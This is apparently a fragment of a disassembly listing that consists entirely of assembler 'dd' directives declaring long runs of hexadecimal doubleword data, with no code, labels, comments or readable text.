		dd 16CA4E8h, 0EAB76E04h, 74E27225h, 84802E3Bh, 0F4CBE059h
		dd 0A10FB185h, 64E23BFFh, 0D9855A49h, 8A90DE0Dh, 2995856Ch
		dd 0A08BA6D3h, 72E59928h, 0EA8A25F9h, 308DF46h,	280C758Dh
		dd 1775982Bh, 0E21F39B5h, 5684168Bh, 30B0FEB7h,	83390A3Fh
		dd 66C09E6Ah, 9531BF44h, 2D666186h, 9572B501h, 4EF1A9F4h
		dd 0C2158836h, 0C3610B45h, 0F8A542D7h, 676DBCCAh, 1441EBE0h
		dd 0EFD04D2h, 0D47824B0h, 288DE190h, 689B5B6Ah,	0CA1BC282h
		dd 53E2EC89h, 0A4193755h, 0BD2941C8h, 80DA5495h, 6924D945h
		dd 0CB91DE94h, 602A6026h, 0BB6C3601h, 0AA260E04h, 538C1297h
		dd 67CB00E1h, 0E578FB3Fh, 0BF003652h, 3ECA620Eh, 0B75061F4h
		dd 0B5A33A46h, 0F6594F84h, 178025DBh, 0C0A4A792h, 637F7013h
		dd 854EF8Dh, 0BC13BDAAh, 0B4E03A1h, 8E74BFBCh, 9280169Ah
		dd 8BDFD8D2h, 5C4966B4h, 1A0C105Dh, 0B74765E9h,	0E30E801Eh
		dd 151D1870h, 214CF576h, 299FC0B5h, 48032Fh, 8161BB6Bh
		dd 0B1F947F7h, 0C6305B76h, 0E9FCF31Ch, 0E3FFF891h, 1B81C7Dh
		dd 9B418800h, 688BFFB1h, 66DB175Bh, 0E4E78871h,	7A0033F8h
		dd 13990E44h, 44F6A694h, 90E35B61h, 809EE830h, 272987D1h
		dd 160FBA94h, 1712EE64h, 0E395A04h, 822CC413h, 0C57C9DBBh
		dd 29E9928h, 2E37A5h, 64F7E94Dh, 1348DD80h, 28AD139Dh
		dd 36807B9Eh, 2CA5E262h, 10C1A85Eh, 24058B64h, 0B857BD3Bh
		dd 95AF0134h, 54DBF690h, 5A7460D7h, 0BF04727Eh,	2347C5A5h
		dd 76BD4AD5h, 3C005CB8h, 7AD82DAFh, 12730CBBh, 0F1595302h
		dd 805D1E36h, 0ECF99A6Ah, 0F32C00D6h, 95336070h, 0E49721F5h
		dd 731545E5h, 0ECCF004Ah, 3094F54Ch, 21740058h,	16970E9Ah
		dd 0FEBE103Fh, 0F229C840h, 12200F4h, 37200F44h,	1958812Fh
		dd 51DC0EDBh, 3E8D3259h, 0A9E8EFEDh, 994B0062h,	0FEE49C76h
		dd 0EA258090h, 0A078E6A7h, 8132313Fh, 89B62C50h, 8EE7C3Eh
		dd 94242D75h, 27FF7225h, 0C17BC08Bh, 0FB2A7071h, 69BDCB24h
		dd 648DE7E8h, 958970E6h, 7C6A8AB1h, 5F082740h, 746F6034h
		dd 816EEAh, 0B51A5711h,	0BAE810Ah, 58F78ACEh, 92BB7737h
		dd 210B723Ah, 26B25189h, 0C20C31AEh, 7E60C108h,	94A24120h
		dd 40A925F7h, 0FF004D64h, 0D913ACDDh, 695EE187h, 0C884DC61h
		dd 410582CEh, 0CF03F171h, 0DE894BEBh, 0BA64CE54h, 0F00E1003h
		dd 5376EAFBh, 14C28314h, 41A138A1h, 509CFFE7h, 50264065h
		dd 6B7676BFh, 506046F7h, 325805E8h, 0F01AC22Bh,	388593D6h
		dd 37AB5A4Dh, 50B760EAh, 0D01D033Ch, 459A3A81h,	5DF2FD19h
		dd 0AAC2D6Ch, 4CD969E9h, 0D0C8DE06h, 1B31D520h,	4F3C4003h
		dd 7520C2BEh, 0F58B790Eh, 26051288h, 5BF8363Ah,	30C181Ch
		dd 0D8120D1h, 8D84DDEh,	82164112h, 4BDBD9FFh, 8B51CC90h
		dd 100A1D90h, 14B0A981h, 3359B530h, 0BEC35FC0h,	2924CC72h
		dd 68014273h, 0D49AA7D2h, 0A8FA342Bh, 2894D6F4h, 647DB8ADh
		dd 0A2D3EB2Dh, 0A27000D1h, 45E97BB4h, 3C2D000Bh, 9A71578Eh
		dd 8209443Eh, 6460FDCCh, 0A04B009Ah, 422F62A5h,	0DC0020EEh
		dd 1CF71171h, 0BF48C64h, 596192B7h, 2198DB18h, 0DF385600h
		dd 0C181BA04h, 8971556Dh, 0D0B6372Fh, 0C1494FF2h, 87A25FF6h
		dd 0FF70015Dh, 0DA410834h, 77235EDBh, 8F66007Bh, 0F6818D63h
		dd 0D61DC6ABh, 80FAFC7Bh, 67D91E44h, 6028B351h,	9C19225Ah
		dd 4BC37CC7h, 0E0013489h, 0BCA9BF3h, 8A602D0Ah,	0E883D383h
		dd 0CC38BAE8h, 4807C118h, 1381F902h, 0C18F40F8h, 3DB08586h
		dd 4282248Ch, 0DCE6F54Bh, 0B21CBB00h, 0E56319Eh, 3ED33A70h
		dd 380F6EBEh, 1320536Fh, 5F5877DCh, 1EE39600h, 0BE2C0464h
		dd 0E5510010h, 0B7F2A5F8h, 690D404Ch, 0DE93C5FDh, 67DA9C8Eh
		dd 5B5677A3h, 826F5803h, 0CBC68A1h, 72A77038h, 0F30FF668h
		dd 401731CDh, 0DF135634h, 603E00DEh, 0EC106F2Dh, 0C71691CBh
		dd 8C027016h, 9E77AE78h, 0E8042320h, 0C44DCF04h, 3985486h
		dd 19F941B8h, 71CF2FA5h, 807D576Fh, 0FD645EF1h,	0C14E7C2h
		dd 7CFF6ADCh, 21C01608h, 86FD6DB3h, 0B73030Dh, 207906CDh
		dd 0BE307EE0h, 0E844F230h, 60EDC38Ch, 0C893B0C4h, 0BB037E76h
		dd 90A36F02h, 3B30783Dh, 653DC1D8h, 0BF52D30Fh,	0D708AB2Ch
		dd 7F206E60h, 1203DBAh,	0C17DAE1Bh, 0C8B426A5h,	0FF1EC8F6h
		dd 7F4595F2h, 0B85D3FCCh, 0C4331ACAh, 423DE782h, 0AC780C82h
		dd 3BC47F8Ch, 3046A36Eh, 0BD7A2121h, 691EA3Dh, 0E8934B5Ah
		dd 2485C068h, 60A8D2C7h, 441B2DC1h, 19AEE505h, 0A400AC07h
		dd 4597CC7Eh, 70E887h, 0BED49430h, 7125F66Dh, 411AB502h
		dd 8243374Ch, 63CEACh, 806C7ED5h, 386080E5h, 1787AB8Fh
		dd 9E9A5CF6h, 8B2EE19h,	0AA21807Ah, 7F7B87A3h, 2A3F7E90h
		dd 81E48457h, 631868FCh, 0E7C7FD08h, 406BC47Ch,	16FD68BEh
		dd 0A95B3D04h, 0EA823480h, 2C911D10h, 0E99B88A8h, 0AE2B0FEh
		dd 4D7B2400h, 76D79FABh, 23DD005Dh, 0DAA53E9Bh,	7F28EAA3h
		dd 40A7D4B5h, 0A2601544h, 2500EA74h, 0AD678A78h, 0A8BAF270h
		dd 0F657B0ACh, 0AB98A34Eh, 619180Ch, 292A21BFh,	0EE327300h
		dd 33A2BC42h, 9039399Ah, 4A12E906h, 0DF21A062h,	896A11ACh
		dd 0E7F20261h, 1450916Ch, 0FD76BC10h, 9DF7D300h, 4E597E93h
		dd 70103480h, 6DE00820h, 1687A8C0h, 228246F6h, 0A0A9017Bh
		dd 0E5C99187h, 43989096h, 48C62FCh, 1FCDE501h, 808C816Eh
		dd 6A4C52CCh, 1187A930h, 888AF669h, 0A1A88085h,	1B9ED987h
		dd 58457501h, 65A51D70h, 40B6BC20h, 6709616Ah, 19C890A8h
		dd 0C018A0A0h, 0DBB842EDh, 0D345A04Ch, 3DB9C8h,	5AFCAB0h
		dd 6C5694F2h, 82A3D1C0h, 0E14DB55h, 0AAB8ADCFh,	9B233A0h
		dd 0E97C0C4Bh, 0BF988550h, 6E23B542h, 0C1FD6501h, 3D0E0CE7h
		dd 3EFD10B0h, 1379A711h, 0B8217334h, 7030C235h,	0B0BDF011h
		dd 5B30A8F7h, 542C1D12h, 728BCF30h, 0AD087FECh,	6A7921C2h
		dd 6754C02Ch, 0BDDC3457h, 0A9C0418h, 5A49008Fh,	3223F5h
		dd 0DE89FFC9h, 3E35061Fh, 0BE702383h, 572C1301h, 0A1186730h
		dd 6B7888h, 703AC52Ch, 358BF60h, 3BC9C0C2h, 0A7911D17h
		dd 5B0D9480h, 930E1D84h, 8551B55Dh, 0DC1069F4h,	0AA0B10BCh
		dd 60C06B88h, 46E7C6FDh, 0BF897574h, 0F400A261h, 3104A91h
		dd 8413D9BDh, 7892CDE7h, 5468C4A4h, 169235Ch, 0F6128654h
		dd 887918A2h, 8703ACADh, 0C3F88C23h, 57B1F947h,	586FB088h
		dd 0F7C5E703h, 3C691075h, 8C7BF872h, 0C3964704h, 1480CD95h
		dd 0E9ED3968h, 20F8E9A0h, 131F825Ah, 29D4FBF4h,	10F848C8h
		dd 7688447Eh, 158655C0h, 70AA52F6h, 87ADAC80h, 0D3041F8Fh
		dd 5A4EBF49h, 0BC9884D1h, 762E3C41h, 0FF261E00h, 67099CB0h
		dd 113C6506h, 6918B830h, 31A92C08h, 40A4C437h, 3D2C617Ah
		dd 6EEC66h, 31EB34FEh, 0F41EA135h, 0BE142676h, 23684376h
		dd 86570168h, 18BAF613h, 0AFAE8887h, 271C07ECh,	6C421098h
		dd 8ED125CBh, 0A83BB3A8h, 0F8008323h, 1BEB736Bh, 0B47700E8h
		dd 88C9C8DEh, 0FB587004h, 56308724h, 91F6914h, 6084E0C0h
		dd 0C2C67ADh, 60C34DA3h, 7D80D588h, 0E46A3DBCh,	0EA9F03DEh
		dd 1A3FA579h, 312028E8h, 4C987548h, 8C79F80Ch, 45181F01h
		dd 65BA4E30h, 3DF4A885h, 0B9C88890h, 1E03ED00h,	0D49F8FC4h
		dd 0A4570041h, 0DDAD5A82h
		dd 0D04A2D3h, 0F13926E0h, 10E54C88h, 295BA35h, 15EB9616h
		dd 0F8B881D5h, 88666B80h, 1B6E67F0h, 2C316300h,	28EE1EA3h
		dd 65DB0002h, 0F49A8B90h, 0C66755C3h, 6AAE5E68h, 0B243C4E5h
		dd 5CD178A0h, 49DFA0BFh, 0D380A67Ch, 1658D252h,	57713C00h
		dd 144853C1h, 619A035Ch, 8AD73064h, 48CB877h, 0E7C0FD62h
		dd 3BB13804h, 3280FD6Bh, 2C43057Fh, 0F225A42Dh,	93007A7h
		dd 4A48A687h, 2E7A5C0Ch, 3609018Ch, 12763055h, 0F2E04045h
		dd 254C89E3h, 0A2C453CCh, 358230A7h, 0ADF69F00h, 7363D245h
		dd 0F339181Bh, 3103D97Fh, 3A2AE25h, 0B8E7CE28h,	4D7F1AA5h
		dd 60B805Dh, 0B410573Ch, 0C500C62Bh, 1894BD72h,	0CA85FAh
		dd 0C18CDA0Fh, 0FC0B0ECDh, 27F23D24h, 34574030h, 502A30AEh
		dd 0F327EE60h, 6F6C2E1Dh, 6006A6C9h, 0C814F6B0h, 10C0BFE0h
		dd 5830562Ch, 7BE09C7Fh, 8D062C68h, 785603F8h, 7121E7A1h
		dd 0FA240C40h, 4D8003DFh, 0A88701E4h, 265E30F0h, 0D9C04C35h
		dd 7A23B43Ah, 7962853Ah, 0E0413133h, 5C5F19C3h,	1D90F092h
		dd 35E6819Fh, 844FC6AEh, 0D291FBE1h, 0D5306880h, 8C1007EDh
		dd 80473A17h, 0C2796B7Dh, 0CBF48804h, 0DCB0234Dh, 7FB626AEh
		dd 84467CFCh, 40B3731Fh, 35154ADBh, 0FA153B9Dh,	3CECB0BFh
		dd 46F224AEh, 34A1F421h, 9C188771h, 64F13109h, 59580734h
		dd 60B944C8h, 23A82C16h, 0A0110F31h, 2C6E7D03h,	0FF1806h
		dd 85A3DD98h, 143A99D3h, 0F9007823h, 0A70D3F84h, 53B330FAh
		dd 0D5310AE8h, 0F7FCD452h, 0FD09C078h, 0A8073369h, 0B8114F20h
		dd 0EB44820Bh, 0F68F0180h, 0F2E620BCh, 70B2DB30h, 4E3E2DFBh
		dd 233C3B9Fh, 543C002Eh, 0AC25C915h, 3FBAC804h,	9C8C82A6h
		dd 0AAD09569h, 93DBCD18h, 4AADA368h, 230C2F72h,	0F3D300A0h
		dd 0C0D90EFBh, 0BEF79CA0h, 10CBC8D2h, 7CCA60C8h, 2C1C5B17h
		dd 64E84514h, 6E606D48h, 0E723C4FDh, 16611164h,	280277BDh
		dd 9012A114h, 40031AB0h, 3F0590B0h, 0B80D5689h,	0FCD68D0h
		dd 50B8A49Ch, 0A278E367h, 0EEFCE508h, 80928FB1h, 0EC95B813h
		dd 0AC6504E4h, 0F062345Dh, 2114C3A0h, 90945127h, 0F5D7E8F4h
		dd 0B300200Ch, 0EA6018B5h, 5827DCA6h, 0D112844Eh, 0D52CD2DFh
		dd 89C15C4Dh, 62FC1CA4h, 3DF802C5h, 0B6066D4Ch,	0A6E8FCA3h
		dd 0B78229D0h, 0AB65ED00h, 16090D37h, 334101E5h, 7C0E054h
		dd 6B3180B5h, 148E9865h, 0D42F00C7h, 4D9E3EFFh,	22163B43h
		dd 88214B17h, 0AE086DBAh, 60D8F78Ch, 22AB46A3h,	3787A2Ch
		dd 0E9C3A13Dh, 5078BA43h, 0FAAFB109h, 0F57C0059h, 49381E33h
		dd 158570BCh, 17A0822Ch, 0A344704Ch, 2C6D0006h,	8528B6C9h
		dd 49041AD6h, 0FB3F32C7h, 0FC0B0DBh, 51B97919h,	0E374FB01h
		dd 0AA6F1AA3h, 0EDF8FC69h, 46513942h, 8FDFC3Ch,	0E8461B20h
		dd 5206E4Ah, 6BE321A4h,	0B4A06D84h, 2DC9026Fh, 63BAC7BCh
		dd 0DAEC784Dh, 2C4F3BFEh, 0B7EF1C81h, 0CBCBF5C4h, 0FB3EC100h
		dd 0CC3DF3F2h, 0D980B916h, 6518ACh, 35F41E9Eh, 0E7834D68h
		dd 0D4DCBC16h, 8423282Fh, 0F49A4400h, 28C8DF5h,	0EAA3ECF6h
		dd 0FC4446C7h, 0A7F9CB09h, 0E504B248h, 6ED26204h, 0EF7418h
		dd 6DC12C47h, 33C39012h, 0C5E79404h, 288097CBh,	2754EAA7h
		dd 0FCB7444Fh, 0F880E29Ch, 25E5B83Fh, 589D62C2h, 8CD1BF69h
		dd 0EF81171Fh, 7B843D80h, 1B4D25FCh, 21A906A7h,	107C6800h
		dd 0EEDBB376h, 0CC160063h, 7724462Ch, 152956ADh, 15ADB8C0h
		dd 80829154h, 8C79A055h, 48B83FEFh, 0E704B639h,	0C88FA22Dh
		dd 3171792Ch, 4BC0828Ah, 8FE503B0h, 0A7902043h,	5BD9C158h
		dd 8268F4C0h, 0DF0C2FFCh, 693E3A79h, 25EE031Eh,	0E360390Fh
		dd 0CBD0D5ECh, 0CEA1C860h, 0E95DFE60h, 0C02C6979h, 830ABBCEh
		dd 0C68E8477h, 4AD62003h, 1D9495Eh, 0A763ACCDh,	233489F2h
		dd 3063E200h, 0B337C6BEh, 60C1D1A7h, 0A448912Fh, 0F4E30078h
		dd 97E28BD2h, 22677C7h,	6E015C4Dh, 6F103C79h, 0D5ECE078h
		dd 0E985078Ch, 90DA435Ch, 0B43E6B8Eh, 21EB960Ah, 3A82A4C4h
		dd 50ADCBF4h, 0A42B1624h, 39200847h, 0E6057CBFh, 0A886EE33h
		dd 0B344F0C0h, 0F8C70AADh, 8F6CB275h, 0A3A6EEC0h, 0C971116Bh
		dd 0DCEBDB28h, 3D6A520h, 372491Dh, 28A65991h, 0C2208050h
		dd 1C95FF05h, 0E0CEDA9Bh, 0C050D0CFh, 77B7C547h, 0FAA309BCh
		dd 10895E2Fh, 17E44065h, 0D7BEE060h, 9A1C990Ah,	0B2408891h
		dd 3AF48Bh, 0C653EA0Bh,	959FD19h, 0C5F75500h, 8891BE35h
		dd 0C93E1EDFh, 78D280FFh, 0F47568EEh, 0F01F9902h, 8F3579FEh
		dd 92C4A16Ch, 0C986CF83h, 89715638h, 0F498E00h,	76AB3B79h
		dd 7AA61C24h, 319285BCh, 2F1817DEh, 8523D8h, 39806EDh
		dd 0C3F428ABh, 36A7F309h, 2DB80763h, 0D160FC53h, 0B46CCD89h
		dd 78CA4ECh, 4A308E49h,	71C32EACh, 600EFE9Ch, 6EAD7FD5h
		dd 342FF609h, 0EF00A023h, 0E85EC1FFh, 0C0837BDDh, 0FE8F88D9h
		dd 8C002C85h, 6E1553FBh, 0F4EAB9h, 6791306Fh, 95A7CD09h
		dd 0A1126899h, 0B0C73063h, 8CE3A363h, 71D444h, 91A43DB8h
		dd 685F6648h, 0F809287Ah, 218BFA89h, 3BA50734h,	38CB5089h
		dd 2235AC02h, 6DA3B201h, 2E18A980h, 1263089Ah, 2A50906h
		dd 7E40BF9Bh, 0EC39124Ah, 35B09034h, 0E08393B2h, 99CE2619h
		dd 888268Ch, 0E507B427h, 0B726C3F9h, 2C377811h,	8646B80h
		dd 1E008323h, 57471C58h, 5868FBB6h, 4079CB12h, 6EE05ECCh
		dd 889C15EBh, 8DEABD3Fh, 7183EEC1h, 0D3F3D093h,	34C91D90h
		dd 22609F97h, 876089E7h, 0C9F03174h, 62FBDE1h, 0F1C36B7Eh
		dd 0A90399CBh, 754641B3h, 65E810EBh, 0CC4704BBh, 83059E73h
		dd 0FB3803E4h, 0A014C859h, 81F4A6B2h, 209036CFh, 456B9980h
		dd 7081FEC3h, 10054B01h, 3B99FDCEh, 926DF2E0h, 0BF480C1Ch
		dd 0ECF814B2h, 852C40E7h, 0CA887C83h, 0E7B23F71h, 0FE988800h
		dd 27643069h, 979F943Ah, 0A10248DAh, 0EA9BEA23h, 8A90603Ch
		dd 7BB9C874h, 39801B80h, 0EC185C1Dh, 9D4D0140h,	564C0E0Ah
		dd 81D3CBC8h, 0FB965B80h, 0A83E7D28h, 0BBA99060h, 2C2B1AA7h
		dd 763845CEh, 7001546h,	4CFE1B1Ah, 5104A746h, 13CF5C9h
		dd 38E614C5h, 1B3AFE0h,	0A627D201h, 8262E232h, 95159EE8h
		dd 46BD8C9Dh, 2DC1F902h, 1840AF61h, 0BE5B73E0h,	9C2F8417h
		dd 0D0008223h, 9781DB92h, 0B9F459h, 0CA792430h,	841FEC93h
		dd 3300497Bh, 0FFC8DA10h, 6F5B3FBh, 6A6310Ah, 2765C87Bh
		dd 9CF26F51h, 0D93014F2h, 6A9E0D3h, 837A48D0h, 0F005175h
		dd 0D8C50429h, 9450E78h, 0EA5E6ABAh, 7911DC9Dh,	0C10B4480h
		dd 525E563Fh, 6658901Dh, 0C25F89h, 0BE9076BDh, 57DBC0ACh
		dd 0F83EFA28h, 7ECE800h, 0E55B0FBCh, 0EE5B25h, 29F41EA0h
		dd 8A314E31h, 0E6725068h, 20384035h, 8C6BBCh, 1AC19D84h
		dd 62B1B9E4h, 0A66E2A31h, 3C3451B6h, 8EC2D6E3h,	0C0A1C8B4h
		dd 0CE62247Bh, 0F228C803h, 0DE11FBEBh, 0DDF450h, 68B4C4B7h
		dd 0D33F3CF4h, 8CE6373h, 0B8E9EAEBh, 7C61930h, 0BA59C0A8h
		dd 6E2603CFh, 9E6C7100h, 0C7C33A46h, 5C62B0B3h,	0FE10CC8Dh
		dd 796F027Ah, 86EC83Fh,	0C0D60DA0h, 0EE108049h,	0F2907F21h
		dd 79D334FBh, 0F210F2E8h, 0D01630A7h, 95C08D01h, 3164749Bh
		dd 0B44E56C4h, 1F600C48h, 65432298h, 0A7C0192Eh, 0D0880417h
		dd 683C606Eh, 30B970Dh,	20CB22BDh, 0BCB27F4Ch, 0A7C9CC3h
		dd 403CD4F4h, 203D796Ch
		dd 3FAF4686h, 0A36189C5h, 80C465B3h, 513DBE7Bh,	29042810h
		dd 9EDB64E5h, 0C50740A2h, 8EB57C1Ah, 0F7070540h, 2B0F9774h
		dd 0C3E2BFB4h, 9875CBBh, 0E1FAC9A6h, 0D2E49445h, 0ED3C1B60h
		dd 1D337A03h, 0C499FEDBh, 22814CC0h, 0C1ACA036h, 45A5806Dh
		dd 9A3DE513h, 0E004FC53h, 4D02ADF7h, 2C56163Ch,	0EE58BB00h
		dd 25AA1BEAh, 0F8203E79h, 526B22A5h, 68EE30C0h,	0F6CF6Ah
		dd 0A75D11A6h, 79CEB33Fh, 0BD62487Dh, 69738008h, 5960A300h
		dd 0D82000AEh, 1CEB67A4h, 0C02E441Bh, 0C71F2654h, 73BCB384h
		dd 0BD1E24A7h, 0F02ACF2Eh, 0C0FF1C24h, 59DDCD80h, 2B985F51h
		dd 0C800146Eh, 21C0322Ah, 0F5021D46h, 93C4475Bh, 896B268Fh
		dd 0A27D601Dh, 490C8027h, 782024E1h, 1C709A6Dh,	4318ACBFh
		dd 0ACF90CEh, 0CBB39F90h, 0C1F06298h, 5E1A9705h, 74079E39h
		dd 0EF84B8E5h, 8C6B6F4Bh, 0F4108FE0h, 0CB51EB14h, 10544C97h
		dd 0C90071AEh, 0B62AE3FFh, 86F6319Eh, 663CA09Ah, 88BE079Fh
		dd 0CD8BDFDCh, 8003C7CCh, 67819B1Ah, 3A51077Ah,	0BC542CF8h
		dd 41098CAAh, 9E52C9h, 0C50D2834h, 1CD1EBAh, 3124E0B3h
		dd 8043DCB8h, 97890068h, 0A06D27E3h, 69014F41h,	6B113120h
		dd 0F743E5A8h, 8348180Ch, 0B78A317Fh, 0D30028F4h, 4439BD3Bh
		dd 3994D7A9h, 50AEF505h, 0C5283BF8h, 933E12A4h,	8804CEF6h
		dd 2EAEC1ACh, 995092B3h, 2D902081h, 6C8824h, 0EC4C78D7h
		dd 22671354h, 42B1F017h, 1B73E103h, 0C098FACCh,	8064FA50h
		dd 0BC4AB0F6h, 0D523E02Fh, 27D79E00h, 0C7BCAD9h, 2B9101A6h
		dd 70000941h, 323E2E43h, 0D2CB72h, 9D1804E6h, 74C1830Dh
		dd 87072090h, 0CBE07FFBh, 3F90BFB0h, 9BF94E93h,	0E7EE8070h
		dd 8078F7CDh, 692E1A89h, 8428FCD9h, 0D4D61F2Ch,	38884E08h
		dd 0CC7950Fh, 3B100AB3h, 101849A0h, 9300F524h, 88012AE5h
		dd 1D53C396h, 40C66CCFh, 42EE1B6Eh, 1513EF5Fh, 0B08B4D85h
		dd 99C0D5C8h, 7F1C6A86h, 30C4FCA2h, 0D4412890h,	2600ECF6h
		dd 5722021Eh, 1FC187h, 21FBFAABh, 0A967A28Dh, 0C1B43548h
		dd 2FA5CB9Eh, 83253C3Ch, 0CC78C8C8h, 0FDEE4E01h, 7280182Eh
		dd 3FC41980h, 197439CDh, 5BA66F0Bh, 0B60B00E8h,	0A1B18A8h
		dd 8368A9CEh, 4E8B0018h, 97447BF3h, 8E09A00h, 9DAC4334h
		dd 641E48EEh, 8CA0BCh, 0B6C59299h, 64A5D5DDh, 7A2D090Ah
		dd 7C26D068h, 6F212174h, 5B6A8780h, 7523193Ch, 0F04F4922h
		dd 3076597Dh, 0E89F5069h, 8F80D311h, 0D7FE9180h, 5A205900h
		dd 6776E5B3h, 92263424h, 51F4C260h, 607E3C49h, 0E99DF4h
		dd 0B080E5C9h, 0B9072058h, 88AA43E8h, 1DC2056h,	76AC2F58h
		dd 30D4B1C3h, 0C8006B2Ch, 7CBB6F72h, 73F87F7Eh,	584E7580h
		dd 773AB82Bh, 0C6566C03h, 9B906B83h, 0AE1F9985h, 84F83C48h
		dd 3F6E2B1Fh, 0B29F4480h, 74BC98A9h, 0C73D0192h, 0DA3C91FDh
		dd 0BED5F811h, 219729CDh, 46C71801h, 0BF4E498Eh, 48949092h
		dd 3DB5B805h, 128538D4h, 83A7EC1Ch, 16E5578Ch, 7DAC61B8h
		dd 0A565D5B2h, 91A41759h, 0E5A48079h, 0E83931h,	1177A25Eh
		dd 3DB9EB96h, 0AE68819Dh, 0EC006D52h, 5A3E5BCBh, 39BB0F14h
		dd 3E015EBh, 60498BFEh,	6F214EC3h, 686300F8h, 71FC448Ch
		dd 8D3201D0h, 771A2306h, 54442AB5h, 0DCBD7AB2h,	8026B4E8h
		dd 0B2088CB6h, 73502870h, 7461827Bh, 201E10D5h,	49A10048h
		dd 0DC19A677h, 0B824702Fh, 65259038h, 60A3E498h, 5FE7C8Ch
		dd 57BF1ADDh, 0F92CD1AAh, 0A49E4A1h, 686F8B05h,	0BCC87956h
		dd 1F0475B6h, 80A3316Bh, 3294C774h, 0FD053F03h,	0D1CD09F9h
		dd 0C4245807h, 97FA8930h, 88239F59h, 0E912827Fh, 0D454151Ah
		dd 91671828h, 97BFEA19h, 3FAD8000h, 17604E76h, 3AE7C098h
		dd 2A0AAFFh, 5E57C4h, 6A722DE5h, 467684B4h, 0A9C600D7h
		dd 2AB75A36h, 35760250h, 0B1CBF474h, 0FAC6BCE8h, 0D6C96B01h
		dd 31835CF0h, 30478FDCh, 0A7B9822Ch, 0CB2D38EAh, 44446745h
		dd 1881606Bh, 0AA88389Ch, 0CBE84E9Eh, 84501A97h, 6F733A16h
		dd 21B17CA3h, 38200C6Fh, 11AD47BDh, 8244D047h, 0C3F52060h
		dd 6CDF8E03h, 0C2074223h, 6C5936h, 0AAB3AD1Ch, 1DF06B57h
		dd 8389BD1Dh, 0E49CD40Ah, 30C49309h, 24023D10h,	42A4AF6Bh
		dd 0BB0080D6h, 0FC1D224Ch, 68E00ECCh, 3A9646A5h, 0A32370h
		dd 9C5F770Fh, 2361919Ah, 9BD05CA9h, 13EC4F70h, 29A48EBCh
		dd 0C2B2B14h, 0BA00A423h, 6125D6CEh, 0A6B78F1h,	7183632Eh
		dd 0DF6687A0h, 133970CBh, 9300C758h, 1BCFD3A2h,	4FAF826Fh
		dd 88D0CFD6h, 701CC07Bh, 91C9B9F1h, 4BC88283h, 80A40955h
		dd 106854A1h, 2D02C4D5h, 91ACBF6Bh, 65003CDAh, 3D799E07h
		dd 77C1E525h, 28EEE839h, 93C0C712h, 40297030h, 1C625604h
		dd 48B34F83h, 0A8E74052h, 6411CC0h, 705209CFh, 2C8281C1h
		dd 0CD649F3h, 3E624676h, 0AEF70264h, 421985A2h,	9D1CC409h
		dd 8C1DF0B7h, 32F5A9C1h, 0A0AC1F52h, 0E8682596h, 3A806837h
		dd 60F22A70h, 0BE3E1694h, 0A8D88586h, 8C78BC0Ch, 0E790DD03h
		dd 7E939CDh, 9BFF6F19h,	169CE19Dh, 4D68A7FEh, 70A0CEA8h
		dd 80BFC8A7h, 0D620390Bh, 0B1610DFBh, 0CB82A46Ch, 90003115h
		dd 3E095C33h, 924E3983h, 187407C4h, 31B1DB80h, 3BA8E3Eh
		dd 0FE3DAEDDh, 35E8892Eh, 99040BF8h, 0ED11EE0Ch, 3E4E58C0h
		dd 60F66BFAh, 0BE34DCC0h, 28C2EA4Ah, 0DF805D20h, 0B33FEEA0h
		dd 843ABF4Ah, 5E01AF23h, 5C967750h, 76CCC449h, 3C8B9F32h
		dd 0AA643467h, 0BF870260h, 35E7B909h, 1C07022h,	0D553AC49h
		dd 0E0F3F22Ah, 0A8B4137Ch, 0AE4674h, 1DF57CCBh,	38A0E869h
		dd 278BFF9Eh, 0D6007270h, 0A3B2732Fh, 0F1D47455h, 413CEFFDh
		dd 5C28801Dh, 72F668BAh, 1DD095Fh, 4079562Bh, 465C34A6h
		dd 509A002Fh, 410821EEh, 1EAA2D99h, 0AFE0ACCDh,	4B3F0E88h
		dd 68949DB5h, 8CAAACB0h, 32CC640Bh, 418C78D9h, 84302B76h
		dd 95633F5h, 0EB8382AAh, 8311509Dh, 0FB53B680h,	0BD1F2294h
		dd 0C981AF63h, 7096AAF5h, 0E9EF80D5h, 406D57EBh, 0CCF1BF14h
		dd 4885B8C8h, 78D10A77h, 0F0917CD5h, 2C829FBAh,	0F10731ABh
		dd 307C6728h, 0EF103F2Ch, 741AB33Dh, 0D6F5FF00h, 68A55EC6h
		dd 0DC70BEA8h, 98120298h, 0F8093D5Bh, 0D3850F1h, 5F9E7630h
		dd 8C342BB0h, 0A7F2A8A2h, 327D30h, 9E1CC5D1h, 9139995Ah
		dd 0AC8EBA4Bh, 9AB2810h, 9164F639h, 2F10BD34h, 805C3C26h
		dd 0AB0213A0h, 17FB04E0h, 0AE0D93Dh, 398CB440h,	56DBC902h
		dd 3C7A836Bh, 0F9B67800h, 0E241BF4Ch, 472901E7h, 6FF314Bh
		dd 16180B3h, 0E9E309EFh, 9F16075Eh, 31C1EEA2h, 3E9A2610h
		dd 0A767820h, 324EA98h,	6B795B1Eh, 34E8A890h, 477CB814h
		dd 9801FE4Fh, 4D09CB15h, 6BBB3980h, 0AC173DEEh,	0A2B01E7Eh
		dd 0E953F632h, 705CD37Eh, 18B7D5FBh, 7DC445D0h,	0EA89805Fh
		dd 5A500F49h, 1480F034h, 7A17839h, 1E838471h, 5968E24h
		dd 0F8A5C798h, 30D6EDBCh, 0BC385F06h, 9ECB80C5h, 0C390EF0Dh
		dd 0E73C3D05h, 2C6263A7h, 0B5C44856h, 0F4B8B244h, 1D03EEB0h
		dd 412A3423h, 0E3F6C0CBh, 0C49EA9h, 125A089Dh, 57301809h
		dd 0E668167h, 4CDF0197h, 0D53C7862h, 3F45F41Ah,	7069AB24h
		dd 1DC39908h, 79CDC218h, 88A4E8C6h, 0A1A8C883h,	588CE600h
		dd 16B51F1Bh, 0AD86256Eh, 37D76CC0h, 84C8255Bh,	0D11B62C5h
		dd 3CD42EA5h, 8674912Fh
		dd 3C94D0D0h, 23F5854h,	43C9096h, 0CC597Ch, 0C14D811Dh
		dd 36C53AD7h, 3EA43806h, 7E004107h, 4D6BDD0Fh, 0F99BCD81h
		dd 0A5810828h, 75A33EAh, 916010C9h, 2410F2F2h, 85220Bh
		dd 0C7EF3CA5h, 874B713Fh, 0E5C97C80h, 41B288E3h, 7492404Bh
		dd 0BD072560h, 13448ACh, 0DE7B317Fh, 218F7455h,	726CC465h
		dd 6B27F2F9h, 0CF04225Ch, 4EBD026Fh, 8054C8F8h,	0D326ECACh
		dd 60AFF8A5h, 0C24627BCh, 89FE2D39h, 19EEB300h,	98AF120Eh
		dd 1038E665h, 0EEF9860Ch, 259AB30h, 0C3F6B14Fh,	78542489h
